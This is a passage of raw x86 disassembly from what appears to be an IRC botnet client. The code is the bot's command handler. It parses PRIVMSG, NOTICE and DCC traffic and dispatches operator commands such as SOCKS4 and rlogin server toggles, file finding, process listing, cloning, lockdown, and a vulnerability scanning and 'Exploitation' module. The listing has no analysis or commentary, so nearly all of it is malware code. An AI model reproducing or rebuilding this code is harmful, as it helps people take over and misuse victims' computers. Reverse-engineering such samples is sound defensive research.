		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40D24B


loc_40D26D:				; CODE XREF: sub_40CD3A+50Aj
		push	[ebp+var_90]
		push	offset a353	; "353"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D315
		push	[ebp+var_84]
		push	[ebp+arg_8]
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D2A4
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40D2A4:				; CODE XREF: sub_40CD3A+55Fj
		push	[ebp+var_84]
		push	offset dword_436B20
		jmp	loc_412993
; ---------------------------------------------------------------------------


loc_40D2B4:				; CODE XREF: sub_40CD3A+525j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_436AEC
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_40B078
		push	[ebp+var_90]
		push	offset aPart	; "PART"
		call	sub_415730
		add	esp, 18h
		test	eax, eax
		jnz	loc_40D18F
		lea	eax, [ebp+var_2D8]
		push	eax
		mov	eax, [ebp+var_94]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_40D0DB
; ---------------------------------------------------------------------------


loc_40D315:				; CODE XREF: sub_40CD3A+547j
		push	[ebp+var_90]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_415730
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40D369
		push	[ebp+var_90]
		push	edi
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D369
		push	[ebp+var_90]
		push	offset dword_436AD8
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412818
		cmp	dword_42C250, ebx
		jz	loc_412818


loc_40D369:				; CODE XREF: sub_40CD3A+5F5j
					; sub_40CD3A+607j
		push	[ebp+var_90]
		push	esi
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D4E2
		push	[ebp+var_90]
		push	edi
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D4E2
		mov	eax, [ebp+var_88]
		inc	[ebp+var_84]
		mov	[ebp+var_A8], 4
		mov	[ebp+var_8C], eax


loc_40D3B1:				; CODE XREF: sub_40CD3A+867j
					; sub_40CD3A+8EDj ...
		mov	eax, [ebp+var_A8]
		mov	esi, eax
		shl	esi, 2
		lea	edi, [ebp+esi+var_94]
		mov	eax, [edi]
		push	eax
		push	offset dword_436AD0
		mov	[ebp+arg_8], eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D7CB
		push	[ebp+esi+var_90]
		push	offset aSend_0	; "SEND"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D693
		cmp	[ebp+var_A4], ebx
		jz	loc_40D669
		push	[ebp+esi+var_8C]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_844]
		push	edi
		push	eax
		call	sub_415316
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_858]
		push	edi
		push	eax
		call	sub_415316
		push	[ebp+esi+var_84]
		call	sub_41587F
		mov	[ebp+var_6C0], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_860], eax
		lea	eax, [ebp+var_C0]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_740]
		push	eax
		call	sub_416BE0
		mov	eax, [ebp+var_4]
		mov	[ebp+var_6B8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_6B4], eax
		lea	eax, [ebp+var_740]
		push	eax
		lea	eax, [ebp+var_844]
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_436A88
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	12h
		push	eax
		call	sub_414DDA
		add	esp, 44h
		mov	[ebp+var_6BC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset sub_40B9BC
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_6BC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_441BAC[ecx], eax
		jz	loc_411406
		jmp	loc_40D65F
; ---------------------------------------------------------------------------


loc_40D4E2:				; CODE XREF: sub_40CD3A+63Fj
					; sub_40CD3A+655j
		push	[ebp+var_90]
		push	edi
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D4FB
		mov	[ebp+var_4], 1


loc_40D4FB:				; CODE XREF: sub_40CD3A+7B8j
		cmp	[ebp+var_8C], ebx
		jz	loc_40D18F
		push	(offset	loc_426447+1)
		push	[ebp+var_8C]
		call	sub_4158E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D522
		cmp	[ebp+var_4], ebx
		jz	short loc_40D52E


loc_40D522:				; CODE XREF: sub_40CD3A+7E1j
		lea	eax, [ebp+var_C0]
		mov	[ebp+var_8C], eax


loc_40D52E:				; CODE XREF: sub_40CD3A+7E6j
		cmp	[ebp+var_88], ebx
		jz	loc_40D18F
		inc	[ebp+var_88]
		jz	short loc_40D578
		cmp	[ebp+arg_10], ebx
		jz	short loc_40D578
		lea	eax, [ebp+var_43C]
		push	eax
		call	sub_415B10
		push	eax
		lea	eax, [ebp+var_43C]
		push	[ebp+var_88]
		push	eax
		call	sub_416D70
		add	esp, 10h
		neg	eax
		sbb	eax, eax
		add	eax, 4
		mov	[ebp+var_A8], eax
		jmp	short loc_40D57E
; ---------------------------------------------------------------------------


loc_40D578:				; CODE XREF: sub_40CD3A+806j
					; sub_40CD3A+80Bj
		mov	eax, [ebp+var_A8]


loc_40D57E:				; CODE XREF: sub_40CD3A+83Cj
		mov	esi, eax
		shl	esi, 2
		mov	edi, [ebp+esi+var_94]
		cmp	edi, ebx
		jz	loc_40D18F
		push	edi
		push	offset dword_436A7C
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D3B1
		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40D618
		mov	eax, dword_46B004
		mov	eax, off_42C32C[eax*4]
		cmp	[eax], bl
		jz	short loc_40D618
		push	eax
		push	ecx
		push	offset dword_436A60
		push	[ebp+arg_4]
		call	sub_412B8B
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset aSHasJustVersio ; "%s has just versioned	me."
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_40B078
		add	esp, 20h
		cmp	[ebp+var_A4], ebx
		jnz	loc_40D18F
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	1
		push	eax
		push	offset dword_46AF14
		jmp	loc_411FD7
; ---------------------------------------------------------------------------


loc_40D618:				; CODE XREF: sub_40CD3A+876j
					; sub_40CD3A+886j
		push	edi
		push	offset dword_436A3C
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D3B1
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	loc_40D3B1
		mov	eax, [ebp+var_8C]
		cmp	byte ptr [eax],	23h
		jz	loc_40D3B1
		push	esi
		push	eax
		push	offset dword_436A24
		jmp	loc_40D0DB
; ---------------------------------------------------------------------------


loc_40D657:				; CODE XREF: sub_40CD3A+92Bj
		push	32h
		call	dword_421060	; Sleep


loc_40D65F:				; CODE XREF: sub_40CD3A+7A3j
		cmp	[ebp+var_6B0], ebx
		jz	short loc_40D657
		jmp	short loc_40D68B
; ---------------------------------------------------------------------------


loc_40D669:				; CODE XREF: sub_40CD3A+6C4j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_2D8]
		push	[ebp+esi+var_8C]
		push	offset dword_4369D0
		push	eax
		call	sub_415316
		add	esp, 10h


loc_40D68B:				; CODE XREF: sub_40CD3A+92Dj
					; sub_40CD3A+A6Aj ...
		xor	esi, esi
		inc	esi
		jmp	loc_40F54A
; ---------------------------------------------------------------------------


loc_40D693:				; CODE XREF: sub_40CD3A+6B8j
		push	[ebp+esi+var_90]
		push	offset aChat	; "CHAT"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D7E1
		cmp	[ebp+var_A4], ebx
		jz	loc_40D7BA
		push	13h
		call	sub_41501C
		test	eax, eax
		pop	ecx
		jnz	loc_40D7A9
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_858]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_415316
		push	[ebp+esi+var_84]
		call	sub_41587F
		mov	[ebp+var_6C0], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_860], eax
		lea	eax, [ebp+var_C0]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_740]
		push	eax
		call	sub_416BE0
		mov	eax, [ebp+var_4]
		mov	[ebp+var_6B8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_6B4], eax
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_436990
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	13h
		push	eax
		call	sub_414DDA
		add	esp, 34h
		mov	[ebp+var_6BC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset sub_40B459
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_6BC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_441BAC[ecx], eax
		jnz	short loc_40D79C
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_436948
		jmp	loc_4108F0
; ---------------------------------------------------------------------------


loc_40D794:				; CODE XREF: sub_40CD3A+A68j
		push	32h
		call	dword_421060	; Sleep


loc_40D79C:				; CODE XREF: sub_40CD3A+A47j
		cmp	[ebp+var_6B0], ebx
		jz	short loc_40D794
		jmp	loc_40D68B
; ---------------------------------------------------------------------------


loc_40D7A9:				; CODE XREF: sub_40CD3A+98Aj
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset dword_436900
		jmp	loc_4108F0
; ---------------------------------------------------------------------------


loc_40D7BA:				; CODE XREF: sub_40CD3A+97Aj
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset dword_4368B8
		jmp	loc_4108F0
; ---------------------------------------------------------------------------


loc_40D7CB:				; CODE XREF: sub_40CD3A+69Dj
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_42C258
		mov	[edi], ecx
		jnz	loc_40D18F


loc_40D7E1:				; CODE XREF: sub_40CD3A+96Ej
		mov	edi, [edi]
		push	edi
		push	offset aNewshit	; "newshit"
		mov	[ebp+arg_8], edi
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412820
		push	edi
		push	offset aHi_0	; "hi"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412820
		cmp	[ebp+var_A4], ebx
		jnz	short loc_40D832
		push	[ebp+var_90]
		push	offset dword_436AD8
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412818


loc_40D832:				; CODE XREF: sub_40CD3A+ADCj
		cmp	[ebp+arg_28], ebx
		jnz	loc_412818
		xor	edi, edi
		cmp	dword_42EA3C, ebx
		jle	loc_40D9D6
		mov	[ebp+arg_20], offset dword_440E18


loc_40D850:				; CODE XREF: sub_40CD3A+B35j
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D876
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_42EA3C
		jl	short loc_40D850
		jmp	loc_40D9D6
; ---------------------------------------------------------------------------


loc_40D876:				; CODE XREF: sub_40CD3A+B25j
		push	offset asc_436BF4 ; " :"
		push	[ebp+arg_0]
		call	sub_4158E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40D18F
		mov	cl, byte_42C258
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_42C258
		mov	[eax+3], cl
		lea	ecx, dword_440E30[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_416BE0
		lea	eax, dword_440E18[edi]
		add	esp, 0Ch
		mov	[ebp+arg_8], 0Fh
		mov	[ebp+arg_20], eax
		lea	edi, [ebp+esi+var_54]


loc_40D8D1:				; CODE XREF: sub_40CD3A+C31j
		push	[ebp+arg_8]
		lea	eax, [ebp+var_A0]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_4158E0
		add	esp, 14h
		test	eax, eax
		jz	short loc_40D933
		cmp	[edi], ebx
		jz	short loc_40D937
		push	[ebp+arg_20]
		call	sub_415B10
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_40D962
		push	dword ptr [edi-4]
		push	[ebp+var_C]
		call	sub_4158E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40D962
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_4098D4
		add	esp, 0Ch
		jmp	short loc_40D962
; ---------------------------------------------------------------------------


loc_40D933:				; CODE XREF: sub_40CD3A+BBFj
		cmp	[edi], ebx
		jnz	short loc_40D962


loc_40D937:				; CODE XREF: sub_40CD3A+BC3j
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_416BE0
		lea	eax, [ebp+var_14]
		mov	[ebp+var_12], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_4098D4
		add	esp, 18h


loc_40D962:				; CODE XREF: sub_40CD3A+BD1j
					; sub_40CD3A+BE2j ...
		dec	[ebp+arg_8]
		sub	edi, 4
		cmp	[ebp+arg_8], ebx
		jg	loc_40D8D1
		lea	eax, [ebp+esi+var_54]
		mov	[ebp+arg_8], 10h
		mov	edi, eax


loc_40D97E:				; CODE XREF: sub_40CD3A+C90j
		push	[ebp+arg_8]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_4158E0
		add	esp, 14h
		test	eax, eax
		jz	short loc_40D9C1
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40D9C1
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_4098D4
		add	esp, 0Ch


loc_40D9C1:				; CODE XREF: sub_40CD3A+C6Cj
					; sub_40CD3A+C72j
		dec	[ebp+arg_8]
		sub	edi, 4
		cmp	[ebp+arg_8], ebx
		jg	short loc_40D97E
		mov	[ebp+var_D8], 1


loc_40D9D6:				; CODE XREF: sub_40CD3A+B09j
					; sub_40CD3A+B37j
		lea	eax, [ebp+esi+var_94]
		mov	edi, [eax]
		mov	cl, [edi]
		cmp	cl, byte_42C258
		jz	short loc_40D9F5
		cmp	[ebp+var_D8], ebx
		jz	loc_40DBD5


loc_40D9F5:				; CODE XREF: sub_40CD3A+CADj
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe_0	; "$me"
		push	edi
		call	sub_4098D4
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_4098D4
		push	[ebp+var_8C]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_4098D4
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_414278
		push	eax
		push	offset aRndnick	; "$rndnick"
		push	edi
		call	sub_4098D4
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_2 ; "$server"
		push	edi
		call	sub_4098D4
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_4158E0
		add	esp, 14h
		jmp	loc_40DB50
; ---------------------------------------------------------------------------


loc_40DA6C:				; CODE XREF: sub_40CD3A+E18j
		push	edi
		push	[ebp+arg_0]
		call	sub_4158E0
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_416BE0
		lea	eax, [ebp+var_A0]
		push	offset asc_43686C ; ")"
		push	eax
		call	sub_416B3F
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_40DAB0
		cmp	[ebp+var_A0], 39h
		jle	short loc_40DAC6


loc_40DAB0:				; CODE XREF: sub_40CD3A+D6Bj
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_416BE0
		add	esp, 0Ch


loc_40DAC6:				; CODE XREF: sub_40CD3A+D74j
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41587F
		test	eax, eax
		pop	ecx
		jle	short loc_40DAE9
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41587F
		pop	ecx
		mov	[ebp+var_14], al
		jmp	short loc_40DAFA
; ---------------------------------------------------------------------------


loc_40DAE9:				; CODE XREF: sub_40CD3A+D9Bj
		call	sub_415372
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_14], dl


loc_40DAFA:				; CODE XREF: sub_40CD3A+DADj
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_13], bl
		push	eax
		call	sub_415B10
		mov	[ebp+arg_8], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_415390
		mov	eax, [ebp+arg_8]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_416BE0
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_4098D4
		push	edi
		push	[ebp+arg_0]
		call	sub_4158E0
		add	esp, 30h


loc_40DB50:				; CODE XREF: sub_40CD3A+D2Dj
		test	eax, eax
		jnz	loc_40DA6C
		mov	edi, 1FFh
		lea	eax, [ebp+var_21D4]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_416BE0
		lea	eax, [ebp+var_21D4]
		push	edi
		push	eax
		lea	eax, [ebp+var_23D4]
		push	eax
		call	sub_416BE0
		mov	edi, offset asc_426A34 ; " "
		lea	eax, [ebp+var_23D4]
		push	edi
		push	eax
		call	sub_416B3F
		add	esp, 20h
		mov	[ebp+var_94], eax
		mov	[ebp+arg_10], 1


loc_40DBA3:				; CODE XREF: sub_40CD3A+E83j
		push	edi
		push	ebx
		call	sub_416B3F
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_10]
		inc	[ebp+arg_10]
		cmp	[ebp+arg_10], 20h
		mov	[ebp+ecx*4+var_94], eax
		jl	short loc_40DBA3
		lea	eax, [ebp+esi+var_94]
		mov	ecx, [eax]
		cmp	ecx, ebx
		jz	loc_40D18F
		add	ecx, 3
		mov	[eax], ecx


loc_40DBD5:				; CODE XREF: sub_40CD3A+CB5j
		mov	edi, [eax]
		push	edi
		push	offset aEnz_rndnick ; "enz.rndnick"
		mov	[ebp+arg_8], edi
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127CB
		push	edi
		push	offset aEnz_rn	; "enz.rn"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127CB
		push	edi
		push	offset aEnz_endsess ; "enz.endsess"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127A9
		push	edi
		push	offset aEnz_d	; "enz.d"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127A9
		push	edi
		push	offset aEnz_logout ; "enz.logout"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41270B
		push	edi
		push	offset aEnz_lo	; "enz.lo"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41270B
		push	edi
		push	offset aEnz_version ; "enz.version"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4126FC
		push	edi
		push	offset aEnz_ver	; "enz.ver"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4126FC
		push	edi
		push	offset aLockdown_on ; "lockdown.on"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125FF
		push	edi
		push	offset aLd_on	; "ld.on"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125FF
		push	edi
		push	offset aLockdown_off ; "lockdown.off"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125FF
		push	edi
		push	offset aLd_off	; "ld.off"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125FF
		push	edi
		push	offset aServer_socks4_ ; "server.socks4.on"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4124DE
		push	edi
		push	offset aServer_s4_on ; "server.s4.on"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4124DE
		push	edi
		push	offset aServer_socks_0 ; "server.socks4.off"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DD29
		push	[ebp+esi+var_90]
		push	11h
		push	offset aServer	; "Server"
		push	offset dword_43679C
		jmp	loc_4124C2
; ---------------------------------------------------------------------------


loc_40DD29:				; CODE XREF: sub_40CD3A+FD5j
		push	edi
		push	offset aServer_rlogin_ ; "server.rlogin.off"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DD52
		push	[ebp+esi+var_90]
		push	6
		push	offset aServer	; "Server"
		push	offset dword_436778
		jmp	loc_4124C2
; ---------------------------------------------------------------------------


loc_40DD52:				; CODE XREF: sub_40CD3A+FFEj
		push	edi
		push	offset dword_436768
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DD7B
		push	[ebp+esi+var_90]
		push	3
		push	offset aServer	; "Server"
		push	offset dword_43675C
		jmp	loc_4124C2
; ---------------------------------------------------------------------------


loc_40DD7B:				; CODE XREF: sub_40CD3A+1027j
		push	edi
		push	offset dword_436754
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DDA4
		push	[ebp+esi+var_90]
		push	1Ch
		push	offset dword_436748
		push	offset dword_43673C
		jmp	loc_4124C2
; ---------------------------------------------------------------------------


loc_40DDA4:				; CODE XREF: sub_40CD3A+1050j
		push	edi
		push	offset aServer_redirec ; "server.redirect.off"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DDCD
		push	[ebp+esi+var_90]
		push	10h
		push	offset dword_436718
		push	offset dword_436708
		jmp	loc_4124C2
; ---------------------------------------------------------------------------


loc_40DDCD:				; CODE XREF: sub_40CD3A+1079j
		push	edi
		push	offset dword_4366FC
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DDF6
		push	[ebp+esi+var_90]
		push	0Ah
		push	offset dword_4366F0
		push	offset dword_4366E4
		jmp	loc_4124C2
; ---------------------------------------------------------------------------


loc_40DDF6:				; CODE XREF: sub_40CD3A+10A2j
		push	edi
		push	offset dword_4366D4
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DE1F
		push	[ebp+esi+var_90]
		push	0Bh
		push	offset dword_4366C8
		push	offset dword_4366BC
		jmp	loc_4124C2
; ---------------------------------------------------------------------------


loc_40DE1F:				; CODE XREF: sub_40CD3A+10CBj
		push	edi
		push	offset dword_4366AC
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DE48
		push	[ebp+esi+var_90]
		push	0Fh
		push	offset dword_4366A0
		push	offset dword_436694
		jmp	loc_4124C2
; ---------------------------------------------------------------------------


loc_40DE48:				; CODE XREF: sub_40CD3A+10F4j
		push	edi
		push	offset dword_436684
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DE71
		push	[ebp+esi+var_90]
		push	0Eh
		push	offset dword_436678
		push	offset dword_43666C
		jmp	loc_4124C2
; ---------------------------------------------------------------------------


loc_40DE71:				; CODE XREF: sub_40CD3A+111Dj
		push	edi
		push	offset aServer_tftp_of ; "server.tftp.off"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DE9A
		push	[ebp+esi+var_90]
		push	4
		push	offset aServer	; "Server"
		push	offset dword_436650
		jmp	loc_4124C2
; ---------------------------------------------------------------------------


loc_40DE9A:				; CODE XREF: sub_40CD3A+1146j
		push	edi
		push	offset aBox_findfile_o ; "box.findfile.off"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4124AF
		push	edi
		push	offset aBox_ff_off ; "box.ff.off"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4124AF
		push	edi
		push	offset aBox_procs_off ;	"box.procs.off"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41249A
		push	edi
		push	offset aBox_ps_off ; "box.ps.off"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41249A
		push	edi
		push	offset aClone_off ; "clone.off"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DF17
		push	[ebp+esi+var_90]
		push	17h
		push	offset aClone	; "Clone"
		push	offset dword_4365F0
		jmp	loc_4124C2
; ---------------------------------------------------------------------------


loc_40DF17:				; CODE XREF: sub_40CD3A+11C3j
		push	edi
		push	offset aLockdown_stop ;	"lockdown.stop"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DF40
		push	[ebp+esi+var_90]
		push	19h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_4365C8
		jmp	loc_4124C2
; ---------------------------------------------------------------------------


loc_40DF40:				; CODE XREF: sub_40CD3A+11ECj
		push	edi
		push	offset aVuln_stop ; "vuln.stop"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DF69
		push	[ebp+esi+var_90]
		push	8
		push	offset aScan	; "Scan"
		push	offset aExploitation ; "Exploitation"
		jmp	loc_4124C2
; ---------------------------------------------------------------------------


loc_40DF69:				; CODE XREF: sub_40CD3A+1215j
		push	edi
		push	offset aVuln_stats ; "vuln.stats"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412481
		push	edi
		push	offset aVuln_st	; "vuln.st"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412481
		push	edi
		push	offset aEnz_reh4sh ; "enz.reh4sh"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412460
		push	edi
		push	offset aEnz_rh4	; "enz.rh4"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412460
		push	edi
		push	offset aEnz_endt3rm ; "enz.endt3rm"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41243E
		push	edi
		push	offset aEnz_et3	; "enz.et3"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41243E
		push	edi
		push	offset aEnz_t3rm1nate ;	"enz.t3rm1nate"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123F5
		push	edi
		push	offset aEnz_t3rm1 ; "enz.t3rm1"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123F5
		push	edi
		push	offset aEnz_status ; "enz.status"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123B7
		push	edi
		push	offset aEnz_s	; "enz.s"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123B7
		push	edi
		push	offset aEnz_id	; "enz.id"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412380
		push	edi
		push	offset aEnz_i	; "enz.i"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412380
		push	edi
		push	offset aBox_rebewt ; "box.rebewt"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E0B7
		call	sub_409D12
		test	eax, eax
		mov	eax, offset dword_4364EC
		jnz	short loc_40E089
		mov	eax, offset dword_4364B4


loc_40E089:				; CODE XREF: sub_40CD3A+1348j
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		add	esp, 1Ch
		jmp	loc_40D68B
; ---------------------------------------------------------------------------


loc_40E0B7:				; CODE XREF: sub_40CD3A+133Aj
		push	edi
		push	offset aThreads_list ; "threads.list"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122A2
		push	edi
		push	offset aThreads_l ; "threads.l"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122A2
		push	edi
		push	offset aEnz_aliases ; "enz.aliases"
